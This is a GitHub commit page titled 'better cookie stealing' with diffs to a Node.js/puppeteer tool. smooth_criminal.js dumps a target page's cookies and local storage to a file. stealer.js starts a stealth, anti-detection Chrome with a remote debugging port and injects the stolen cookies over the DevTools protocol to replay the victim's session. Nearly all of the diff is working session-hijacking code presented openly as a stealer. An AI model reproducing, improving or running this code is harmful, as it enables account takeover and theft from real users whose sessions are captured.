Skip to content

Commit a617b97

Browse files
author
Forrest Kasler
committed
better cookie stealing
1 parent 7df6781 commit a617b97

File tree

4 files changed

+67
-16
lines changed

4 files changed

+67
-16
lines changed

.gitignore

+1
Original file line numberDiff line numberDiff line change
@@ -2,3 +2,4 @@ targets.json
22
node_modules
33
notes.txt
44
user_data/
5+
*.json

package-lock.json

+54-10
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

smooth_criminal.js

+2-2
Original file line numberDiff line numberDiff line change
@@ -24,11 +24,11 @@ var target = process.argv[3];
2424
},
2525
})
2626
let local_storage = dom_data.entries
27-
console.log({ url: target_page.url(), cookies: cookies, local_storage: local_storage })
27+
// console.log({ url: target_page.url(), cookies: cookies, local_storage: local_storage })
2828
//write the data to a file
2929
fs.writeFileSync('data.json', JSON.stringify({ url: target_page.url(), cookies: cookies, local_storage: local_storage }))
3030
//close the page
3131
await target_page.close();
3232
//disconnect from the browser
3333
await browser.disconnect();
34-
})()
34+
})()

stealer.js

+10-4
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
import puppeteer from 'puppeteer-extra'
22
import StealthPlugin from 'puppeteer-extra-plugin-stealth'
3+
puppeteer.use(StealthPlugin())
34
import fs from 'fs';
45

56
const default_user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36";
@@ -17,6 +18,7 @@ if(process.argv.length > 3){
1718
"--disable-blink-features=AutomationControlled",
1819
"--start-maximized",
1920
"--no-sandbox",
21+
"--remote-debugging-port=9223",
2022
]
2123
if(proxy){
2224
puppet_options.push("--proxy-server=" + proxy)
@@ -43,10 +45,14 @@ if(process.argv.length > 3){
4345
delete cookie.partitionKey
4446
})
4547
//inject our cookies
46-
const cdp = await page.target().createCDPSession();
47-
await cdp.send('Network.setCookies',{
48-
cookies: session.cookies,
49-
})
48+
// const cdp = await page.target().createCDPSession();
49+
// await cdp.send('Network.setCookies',{
50+
// cookies: session.cookies,
51+
// })
52+
for (let cookie of session.cookies) {
53+
const cdp = await page.target().createCDPSession();
54+
await cdp.send('Network.setCookie', cookie).catch((err) => console.log(`error setting cookie on ${cookie}`, err));
55+
}
5056

5157
//load the page without JS real quick so that we can inject local storage without interference
5258
await page.setJavaScriptEnabled(false)

0 commit comments

Comments
 (0)